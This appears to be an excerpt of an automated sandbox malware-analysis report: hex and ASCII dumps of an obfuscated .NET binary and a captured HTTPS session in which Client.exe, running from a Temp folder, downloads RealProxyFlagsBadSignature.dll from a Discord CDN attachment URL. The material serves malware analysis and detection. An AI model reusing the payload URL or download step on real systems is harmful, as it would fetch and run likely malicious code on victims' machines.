2022-08-08 15:18:38 UTC	98	IN	Data Raw: 6e 61 6d 65 00 44 61 74 65 54 69 6d 65 00 63 6f 6d 6d 61 6e 64 4c 69 6e 65 00 56 61 6c 75 65 54 79 70 65 00 4e 6f 50 72 69 6e 63 69 70 61 6c 4d 61 6b 65 50 6f 69 6e 74 65 72 54 79 70 65 00 47 65 74 54 79 70 65 00 74 79 70 65 00 53 79 73 74 65 6d 2e 43 6f 72 65 00 52 65 6d 6f 76 65 4e 61 6d 65 73 70 61 63 65 41 74 74 72 69 62 75 74 65 73 43 6c 6f 73 75 72 65 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 00 67 65 74 5f 43 75 6c 74 75 72 65 00 73 65 74 5f 43 75 6c 74 75 72 65 00 72 65 73 6f 75 72 63 65 43 75 6c 74 75 72 65 00 47 65 6e 65 72 69 63 46 69 65 6c 64 49 6e 66 6f 43 6f 64 65 42 61 73 65 00 41 70 70 6c 69 63 61 74 69 6f 6e 42 61 73 65 00 52 65 61 64 4f 6e 6c 79 43 6f 6c 6c 65 63 74 69 6f 6e 42 61 73 65 00 41 70 70 Data Ascii: nameDateTimecommandLineValueTypeNoPrincipalMakePointerTypeGetTypetypeSystem.CoreRemoveNamespaceAttributesClosureRealProxyFlagsBadSignatureget_Cultureset_CultureresourceCultureGenericFieldInfoCodeBaseApplicationBaseReadOnlyCollectionBaseApp
2022-08-08 15:18:38 UTC	99	IN	Data Raw: 62 61 63 6b 00 4d 61 72 73 68 61 6c 00 4d 69 63 72 6f 73 6f 66 74 2e 56 69 73 75 61 6c 42 61 73 69 63 2e 4d 79 53 65 72 76 69 63 65 73 2e 49 6e 74 65 72 6e 61 6c 00 53 79 73 74 65 6d 2e 43 6f 6d 70 6f 6e 65 6e 74 4d 6f 64 65 6c 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 2e 64 6c 6c 00 4b 69 6c 6c 00 4d 65 6d 6f 72 79 42 61 72 72 69 65 72 73 65 74 41 73 42 6f 6f 6c 00 4d 65 6d 6f 72 79 42 61 72 72 69 65 72 55 43 4f 4d 49 53 74 72 65 61 6d 00 65 6c 65 6d 00 67 65 74 5f 49 74 65 6d 00 53 79 73 74 65 6d 00 55 48 47 49 55 66 4c 6a 59 49 49 4a 72 75 74 46 43 50 72 5a 4e 6d 73 4b 4a 63 47 67 5a 4e 44 68 72 66 4d 68 4f 56 4e 65 46 54 52 72 43 4a 4b 62 54 66 63 75 4d 66 43 69 6a 77 7a 4d 5a 66 65 4b 45 77 52 4d 44 4d 4d 43 42 Data Ascii: backMarshalMicrosoft.VisualBasic.MyServices.InternalSystem.ComponentModelRealProxyFlagsBadSignature.dllKillMemoryBarriersetAsBoolMemoryBarrierUCOMIStreamelemget_ItemSystemUHGIUfLjYIIJrutFCPrZNmsKJcGgZNDhrfMhOVNeFTRrCJKbTfcuMfCijwzMZfeKEwRMDMMCB
2022-08-08 15:18:38 UTC	101	IN	Data Raw: 65 2e 43 6f 6d 70 69 6c 65 72 53 65 72 76 69 63 65 73 00 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 2e 4d 79 2e 52 65 73 6f 75 72 63 65 73 00 52 65 61 6c 50 72 6f 78 79 46 6c 61 67 73 42 61 64 53 69 67 6e 61 74 75 72 65 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 00 69 6e 68 65 72 69 74 48 61 6e 64 6c 65 73 00 67 65 74 5f 4d 6f 64 75 6c 65 73 00 74 68 72 65 61 64 41 74 74 72 69 62 75 74 65 73 00 52 65 6d 6f 76 65 4e 61 6d 65 73 70 61 63 65 41 74 74 72 69 62 75 74 65 73 00 70 72 6f 63 65 73 73 41 74 74 72 69 62 75 74 65 73 00 6d 5f 61 74 74 72 69 62 75 74 65 73 00 47 65 74 42 79 74 65 73 00 6d 5f 69 6e 53 63 6f Data Ascii: e.CompilerServicesSystem.ResourcesRealProxyFlagsBadSignature.My.ResourcesRealProxyFlagsBadSignature.Resources.resourcesDebuggingModesinheritHandlesget_ModulesthreadAttributesRemoveNamespaceAttributesprocessAttributesm_attributesGetBytesm_inSco
2022-08-08 15:18:38 UTC	102	IN	Data Raw: 76 00 53 00 6a 00 5a 00 51 00 63 00 47 00 6a 00 44 00 4f 00 74 00 42 00 55 00 64 00 74 00 76 00 6b 00 6a 00 58 00 64 00 6f 00 46 00 46 00 63 00 4b 00 6b 00 70 00 55 00 4a 00 48 00 46 00 7a 00 58 00 48 00 65 00 63 00 61 00 42 00 72 00 64 00 6c 00 4f 00 4b 00 4e 00 4f 00 50 00 5a 00 41 00 79 00 72 00 65 00 4d 00 75 00 47 00 49 00 55 00 4c 00 78 00 7a 00 53 00 53 00 57 00 42 00 46 00 76 00 6f 00 47 00 6d 00 46 00 72 00 79 00 74 00 48 00 6e 00 76 00 74 00 7a 00 4d 00 6e 00 72 00 69 00 6e 00 79 00 75 00 76 00 53 00 6a 00 5a 00 51 00 63 00 47 00 6a 00 44 00 4f 00 74 00 42 00 55 00 64 00 74 00 76 00 6b 00 6a 00 58 00 64 00 6f 00 46 00 46 00 63 00 4b 00 6b 00 70 00 55 00 4a 00 48 00 46 00 7a 00 58 00 48 00 65 00 63 00 61 00 42 00 72 00 64 00 6c 00 4f 00 4b 00 4e Data Ascii: vSjZQcGjDOtBUdtvkjXdoFFcKkpUJHFzXHecaBrdlOKNOPZAyreMuGIULxzSSWBFvoGmFrytHnvtzMnrinyuvSjZQcGjDOtBUdtvkjXdoFFcKkpUJHFzXHecaBrdlOKN
2022-08-08 15:18:38 UTC	103	IN	Data Raw: 00 54 00 77 00 41 00 44 00 51 00 70 00 41 00 6d 00 59 00 7a 00 4b 00 72 00 7a 00 6b 00 50 00 67 00 77 00 4a 00 42 00 4d 00 64 00 6f 00 57 00 52 00 47 00 6e 00 53 00 4a 00 59 00 67 00 67 00 54 00 50 00 58 00 63 00 43 00 6b 00 65 00 6e 00 72 00 65 00 79 00 6e 00 4c 00 74 00 77 00 64 00 46 00 42 00 6f 00 6a 00 6f 00 54 00 68 00 6c 00 4a 00 6a 00 4e 00 4d 00 51 00 53 00 55 00 48 00 4a 00 62 00 79 00 51 00 67 00 51 00 41 00 63 00 46 00 55 00 52 00 6b 00 7a 00 72 00 51 00 45 00 49 00 6b 00 48 00 41 00 72 00 6c 00 54 00 77 00 41 00 44 00 51 00 70 00 41 00 6d 00 59 00 7a 00 4b 00 72 00 7a 00 6b 00 50 00 67 00 77 00 4a 00 42 00 4d 00 64 00 6f 00 57 00 52 00 47 00 6e 00 53 00 4a 00 59 00 67 00 67 00 54 00 50 00 58 00 63 00 43 00 6b 00 6b 00 00 80 a3 79 00 6e 00 4c Data Ascii: TwADQpAmYzKrzkPgwJBMdoWRGnSJYggTPXcCkenreynLtwdFBojoThlJjNMQSUHJbyQgQAcFURkzrQEIkHArlTwADQpAmYzKrzkPgwJBMdoWRGnSJYggTPXcCkkynL
2022-08-08 15:18:38 UTC	104	IN	Data Raw: 51 00 72 00 62 00 71 00 79 00 42 00 43 00 64 00 4c 00 50 00 74 00 55 00 55 00 77 00 6b 00 43 00 55 00 76 00 52 00 76 00 4a 00 50 00 54 00 6f 00 4f 00 53 00 47 00 50 00 50 00 65 00 74 00 61 00 7a 00 6b 00 71 00 72 00 67 00 4a 00 47 00 6b 00 6c 00 6e 00 44 00 67 00 45 00 49 00 69 00 4a 00 77 00 66 00 73 00 5a 00 50 00 58 00 50 00 73 00 70 00 79 00 67 00 50 00 55 00 4e 00 6e 00 69 00 6a 00 54 00 46 00 6a 00 4e 00 65 00 46 00 45 00 4b 00 52 00 45 00 41 00 75 00 6a 00 69 00 65 00 64 00 58 00 4d 00 73 00 69 00 51 00 72 00 62 00 71 00 79 00 42 00 43 00 64 00 4c 00 50 00 74 00 55 00 55 00 77 00 6b 00 43 00 55 00 76 00 52 00 76 00 4a 00 50 00 54 00 6f 00 4f 00 53 00 47 00 50 00 65 00 72 00 43 00 7a 00 6b 00 71 00 72 00 67 00 4a 00 47 00 6b 00 6c 00 6e 00 44 00 67 Data Ascii: QrbqyBCdLPtUUwkCUvRvJPToOSGPPetazkqrgJGklnDgEIiJwfsZPXPspygPUNnijTFjNeFEKREAujiedXMsiQrbqyBCdLPtUUwkCUvRvJPToOSGPerCzkqrgJGklnDg
2022-08-08 15:18:38 UTC	106	IN	Data Raw: 00 68 00 46 00 41 00 4f 00 44 00 6d 00 62 00 46 00 64 00 4b 00 59 00 44 00 6c 00 46 00 76 00 65 00 47 00 00 80 a3 58 00 47 00 52 00 41 00 50 00 56 00 53 00 78 00 79 00 4f 00 6a 00 63 00 58 00 62 00 54 00 42 00 4b 00 41 00 5a 00 48 00 53 00 63 00 65 00 78 00 75 00 53 00 74 00 42 00 74 00 49 00 77 00 67 00 76 00 6d 00 61 00 45 00 54 00 73 00 5a 00 55 00 64 00 49 00 59 00 62 00 4c 00 4b 00 58 00 43 00 51 00 52 00 64 00 4f 00 4e 00 55 00 53 00 76 00 63 00 70 00 61 00 53 00 77 00 52 00 44 00 71 00 52 00 44 00 68 00 46 00 41 00 4f 00 44 00 6d 00 62 00 46 00 64 00 4b 00 59 00 44 00 6c 00 46 00 76 00 00 82 a9 74 00 78 00 4c 00 46 00 77 00 65 00 69 00 6e 00 61 00 55 00 41 00 78 00 79 00 52 00 63 00 74 00 4d 00 45 00 68 00 4a 00 64 00 63 00 6e 00 42 00 58 00 4f 00 Data Ascii: hFAODmbFdKYDlFveGXGRAPVSxyOjcXbTBKAZHScexuStBtIwgvmaETsZUdIYbLKXCQRdONUSvcpaSwRDqRDhFAODmbFdKYDlFvtxLFweinaUAxyRctMEhJdcnBXO
2022-08-08 15:18:38 UTC	107	IN	Data Raw: 42 00 4a 00 74 00 4b 00 51 00 43 00 57 00 65 00 6f 00 43 00 64 00 61 00 65 00 77 00 50 00 59 00 41 00 67 00 52 00 4e 00 6b 00 76 00 7a 00 74 00 73 00 63 00 46 00 72 00 74 00 4e 00 4f 00 7a 00 74 00 4f 00 58 00 52 00 48 00 56 00 48 00 50 00 48 00 45 00 64 00 52 00 59 00 53 00 48 00 44 00 55 00 6f 00 63 00 4d 00 79 00 6a 00 70 00 4e 00 41 00 61 00 79 00 79 00 49 00 65 00 65 00 6e 00 72 00 65 00 53 00 76 00 59 00 79 00 51 00 41 00 59 00 43 00 47 00 42 00 52 00 43 00 55 00 61 00 70 00 42 00 57 00 61 00 46 00 57 00 42 00 4a 00 74 00 4b 00 51 00 43 00 57 00 65 00 72 00 68 00 54 00 74 00 65 00 47 00 77 00 50 00 59 00 41 00 67 00 52 00 4e 00 6b 00 76 00 7a 00 74 00 73 00 63 00 46 00 72 00 74 00 4e 00 4f 00 7a 00 74 00 4f 00 58 00 52 00 48 00 56 00 48 00 50 00 48 Data Ascii: BJtKQCWeoCdaewPYAgRNkvztscFrtNOztOXRHVHPHEdRYSHDUocMyjpNAayyIeenreSvYyQAYCGBRCUapBWaFWBJtKQCWerhTteGwPYAgRNkvztscFrtNOztOXRHVHPH
2022-08-08 15:18:38 UTC	109	IN	Data Raw: 00 56 00 5a 00 6d 00 74 00 65 00 53 00 34 00 36 00 63 00 78 00 76 00 4c 00 5a 00 50 00 41 00 68 00 65 00 72 00 58 00 78 00 6f 00 52 00 64 00 4a 00 51 00 53 00 46 00 58 00 49 00 47 00 49 00 45 00 68 00 56 00 64 00 49 00 42 00 4f 00 68 00 6a 00 64 00 75 00 5a 00 64 00 47 00 47 00 64 00 61 00 61 00 49 00 72 00 7a 00 44 00 64 00 44 00 46 00 42 00 45 00 50 00 53 00 77 00 55 00 56 00 56 00 6f 00 71 00 64 00 5a 00 6c 00 4d 00 67 00 6c 00 4b 00 6e 00 54 00 4f 00 72 00 7a 00 44 00 4a 00 4b 00 41 00 53 00 41 00 6a 00 64 00 56 00 5a 00 6d 00 77 00 6f 00 57 00 00 80 a3 63 00 78 00 76 00 4c 00 5a 00 50 00 41 00 68 00 65 00 72 00 58 00 78 00 6f 00 52 00 64 00 4a 00 51 00 53 00 46 00 58 00 49 00 47 00 49 00 45 00 68 00 56 00 64 00 49 00 42 00 4f 00 68 00 6a 00 64 00 75 Data Ascii: VZmteS46cxvLZPAherXxoRdJQSFXIGIEhVdIBOhjduZdGGdaaIrzDdDFBEPSwUVVoqdZlMglKnTOrzDJKASAjdVZmwoWcxvLZPAherXxoRdJQSFXIGIEhVdIBOhjdu
2022-08-08 15:18:38 UTC	110	IN	Data Raw: 6f 00 6d 00 65 00 4d 00 69 00 6e 00 52 00 64 00 57 00 6a 00 49 00 4b 00 75 00 4c 00 6e 00 76 00 6e 00 52 00 44 00 47 00 41 00 4d 00 45 00 46 00 71 00 48 00 6d 00 4b 00 71 00 4f 00 56 00 6c 00 7a 00 58 00 69 00 4e 00 77 00 6c 00 55 00 6f 00 48 00 4b 00 77 00 41 00 6d 00 47 00 66 00 47 00 50 00 4d 00 47 00 54 00 51 00 4d 00 6c 00 56 00 54 00 4b 00 41 00 61 00 42 00 47 00 6d 00 64 00 4f 00 57 00 66 00 58 00 64 00 76 00 79 00 43 00 53 00 50 00 79 00 4c 00 50 00 44 00 54 00 6a 00 78 00 42 00 50 00 79 00 49 00 73 00 73 00 69 00 6e 00 52 00 64 00 57 00 6a 00 49 00 4b 00 75 00 4c 00 6e 00 76 00 6e 00 52 00 44 00 47 00 41 00 4d 00 45 00 46 00 71 00 48 00 6d 00 4b 00 71 00 4f 00 56 00 6c 00 7a 00 58 00 69 00 4e 00 77 00 6c 00 55 00 6f 00 48 00 4b 00 77 00 41 00 6d Data Ascii: omeMinRdWjIKuLnvnRDGAMEFqHmKqOVlzXiNwlUoHKwAmGfGPMGTQMlVTKAaBGmdOWfXdvyCSPyLPDTjxBPyIssinRdWjIKuLnvnRDGAMEFqHmKqOVlzXiNwlUoHKwAm
2022-08-08 15:18:38 UTC	111	IN	Data Raw: 00 74 00 4e 00 42 00 71 00 6d 00 47 00 68 00 74 00 48 00 46 00 74 00 48 00 42 00 58 00 6f 00 6c 00 6b 00 76 00 64 00 63 00 55 00 4f 00 44 00 42 00 41 00 6a 00 76 00 46 00 51 00 4c 00 52 00 79 00 41 00 4c 00 49 00 56 00 68 00 42 00 4f 00 51 00 51 00 42 00 4d 00 53 00 74 00 64 00 53 00 6e 00 77 00 6d 00 45 00 49 00 54 00 74 00 76 00 6b 00 45 00 41 00 70 00 59 00 66 00 63 00 64 00 51 00 6f 00 50 00 48 00 70 00 6a 00 54 00 5a 00 69 00 43 00 4e 00 4c 00 6e 00 42 00 46 00 63 00 73 00 51 00 49 00 65 00 00 80 a3 42 00 71 00 6d 00 47 00 68 00 74 00 48 00 46 00 74 00 48 00 42 00 58 00 6f 00 6c 00 6b 00 76 00 64 00 63 00 55 00 4f 00 44 00 42 00 41 00 6a 00 76 00 46 00 51 00 4c 00 52 00 79 00 41 00 4c 00 49 00 56 00 68 00 42 00 4f 00 51 00 51 00 42 00 4d 00 53 00 74 Data Ascii: tNBqmGhtHFtHBXolkvdcUODBAjvFQLRyALIVhBOQQBMStdSnwmEITtvkEApYfcdQoPHpjTZiCNLnBFcsQIeBqmGhtHFtHBXolkvdcUODBAjvFQLRyALIVhBOQQBMSt
2022-08-08 15:18:38 UTC	113	IN	Data Raw: 42 00 6c 00 51 00 71 00 50 00 44 00 65 00 48 00 76 00 56 00 70 00 77 00 52 00 77 00 71 00 47 00 66 00 6c 00 76 00 4a 00 6e 00 46 00 44 00 51 00 4c 00 5a 00 47 00 53 00 47 00 69 00 46 00 4c 00 48 00 68 00 72 00 75 00 48 00 58 00 41 00 48 00 6f 00 63 00 74 00 70 00 73 00 58 00 51 00 77 00 61 00 4c 00 6f 00 7a 00 49 00 4e 00 70 00 52 00 68 00 55 00 66 00 4b 00 53 00 68 00 57 00 4d 00 6b 00 65 00 6f 00 45 00 46 00 51 00 72 00 68 00 54 00 4e 00 7a 00 4e 00 59 00 51 00 53 00 55 00 6c 00 6a 00 57 00 63 00 42 00 6c 00 51 00 71 00 50 00 44 00 65 00 48 00 76 00 56 00 70 00 77 00 52 00 77 00 71 00 47 00 66 00 6c 00 76 00 4a 00 6e 00 46 00 44 00 51 00 4c 00 5a 00 47 00 53 00 47 00 69 00 46 00 4c 00 48 00 68 00 72 00 75 00 48 00 58 00 41 00 48 00 6f 00 63 00 74 00 70 Data Ascii: BlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctpsXQwaLozINpRhUfKShWMkeoEFQrhTNzNYQSUljWcBlQqPDeHvVpwRwqGflvJnFDQLZGSGiFLHhruHXAHoctp
2022-08-08 15:18:38 UTC	114	IN	Data Raw: 01 01 1e 00 1e 00 04 07 01 1e 00 07 30 01 01 01 10 1e 00 07 20 04 01 0e 0e 0e 0e 61 01 00 34 53 79 73 74 65 6d 2e 57 65 62 2e 53 65 72 76 69 63 65 73 2e 50 72 6f 74 6f 63 6f 6c 73 2e 53 6f 61 70 48 74 74 70 43 6c 69 65 6e 74 50 72 6f 74 6f 63 6f 6c 12 43 72 65 61 74 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 13 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 00 00 00 07 06 15 12 71 01 13 00 09 07 04 13 00 13 00 13 00 02 06 15 12 18 01 13 00 06 15 12 71 01 13 00 02 13 00 04 0a 01 13 00 05 20 01 01 13 00 04 28 00 13 00 04 20 01 01 02 05 01 00 00 00 00 0c 07 04 0e 12 79 15 12 7d 01 12 79 02 07 15 12 80 81 01 12 79 08 20 00 15 12 7d 01 13 00 06 15 12 7d 01 12 79 03 20 00 02 0a 00 01 0e 15 12 80 81 01 12 79 0b 07 03 12 79 15 12 7d 01 12 79 02 0b 00 02 01 Data Ascii: 0 a4System.Web.Services.Protocols.SoapHttpClientProtocolCreate__Instance__Dispose__Instance__qq ( y}yy }}y yy}y
2022-08-08 15:18:38 UTC	115	IN	Data Raw: 80 ed 18 08 08 08 08 12 80 f1 1c 08 20 05 08 18 08 08 08 08 0a 20 03 12 80 ed 18 12 80 f1 1c 04 20 01 08 18 02 06 09 03 06 1d 05 02 1e 24 04 06 12 80 f9 04 06 12 80 fd 09 07 03 12 80 f9 12 80 f9 02 05 00 02 02 1c 1c 05 20 00 12 81 01 07 20 02 01 0e 12 81 01 05 00 00 12 80 f9 05 07 01 12 80 fd 05 00 00 12 80 fd 06 00 01 01 12 80 fd 05 08 00 12 80 f9 08 01 00 02 00 00 00 00 00 05 08 00 12 80 fd 40 01 00 33 53 79 73 74 65 6d 2e 52 65 73 6f 75 72 63 65 73 2e 54 6f 6f 6c 73 2e 53 74 72 6f 6e 67 6c 79 54 79 70 65 64 52 65 73 6f 75 72 63 65 42 75 69 6c 64 65 72 07 34 2e 30 2e 30 2e 30 00 00 03 06 12 60 08 00 01 12 81 09 12 81 09 04 07 01 12 60 04 00 00 12 60 04 08 00 12 60 59 01 00 4b 4d 69 63 72 6f 73 6f 66 74 2e 56 69 73 75 61 6c 53 74 75 64 69 6f 2e 45 64 69 Data Ascii: $ @3System.Resources.Tools.StronglyTypedResourceBuilder4.0.0.0````YKMicrosoft.VisualStudio.Edi
2022-08-08 15:18:38 UTC	117	IN	Data Raw: 00 00 00 01 00 00 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 a8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 b8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 c8 01 00 00 18 e5 00 00 28 01 00 00 00 00 00 00 00 00 00 00 40 e6 00 00 68 05 00 00 00 00 00 00 00 00 00 00 a8 eb 00 00 68 04 00 00 00 00 00 00 00 00 00 00 10 f0 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 f8 f2 00 00 a8 08 00 00 00 00 00 00 00 00 00 00 a0 fb 00 00 a8 10 00 00 00 00 00 00 00 00 00 00 48 0c 01 00 5a 00 00 00 00 00 00 00 00 00 00 00 d8 e1 00 00 40 03 00 00 00 00 Data Ascii: x(@hhHZ@
2022-08-08 15:18:38 UTC	118	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 08 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 42 42 42 00 f1 ef f0 00 f6 f6 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ( BBB
2022-08-08 15:18:38 UTC	119	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff Data Ascii: ( @BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
2022-08-08 15:18:38 UTC	121	IN	Data Raw: 77 77 77 77 77 77 77 77 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 ff ff ff ff ff ff ff ff ff ff ff ff 77 ff ff 77 77 77 77 Data Ascii: wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
2022-08-08 15:18:38 UTC	122	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-08 15:18:38 UTC	126	IN	Data Raw: 42 42 42 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff f6 f6 f6 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 ff 42 42 42 Data Ascii: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49179	162.159.135.233	443	C:\Users\user\AppData\Local\Temp\Client.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-08 15:18:44 UTC	128	OUT	GET /attachments/1005703293437235255/1005705055426588785/RealProxyFlagsBadSignature.dll HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2022-08-08 15:18:44 UTC	128	IN	HTTP/1.1 200 OK Date: Mon, 08 Aug 2022 15:18:44 GMT Content-Type: application/x-msdos-program Content-Length: 59904 Connection: close CF-Ray: 737939f09a07920e-FRA Accept-Ranges: bytes Age: 110068 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=RealProxyFlagsBadSignature.dll, attachment ETag: "79242a4038e35f2234d3373fb9133c3b" Expires: Tue, 08 Aug 2023 15:18:44 GMT Last-Modified: Sun, 07 Aug 2022 05:12:50 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1659849170365462 x-goog-hash: crc32c=NYw5/Q== x-goog-hash: md5=eSQqQDjjXyI00zc/uRM8Ow== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 59904 X-GUploader-UploadID: ADPycdtP7hWq-m1jw8hHiFuOhUUGho9dt9Hc1qvNxT5FOCA5MXvLa9LZANvOMilQY3YAhxHuFU6Q0W62LHCD3mqDogx_bZPYVQw- X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2022-08-08 15:18:44 UTC	130	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 45 51 75 62 4f 48 6e 4f 4c 77 73 61 55 46 69 70 6b 74 53 25 32 42 32 6b 79 25 32 42 48 76 37 72 5a 33 6d 25 32 42 33 50 41 6e 79 54 34 6c 78 7a 4f 58 55 71 55 43 58 6a 50 61 68 30 56 73 35 57 45 6b 48 30 43 35 33 61 25 32 42 4d 64 4a 4e 34 61 25 32 46 51 58 68 30 76 5a 37 54 4a 59 41 73 55 73 67 55 7a 31 77 7a 25 32 46 44 6e 4d 5a 70 53 69 5a 61 52 6c 37 4b 66 58 6b 71 71 50 25 32 42 55 56 33 6e 48 63 38 68 73 25 32 46 59 38 48 78 36 77 35 59 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 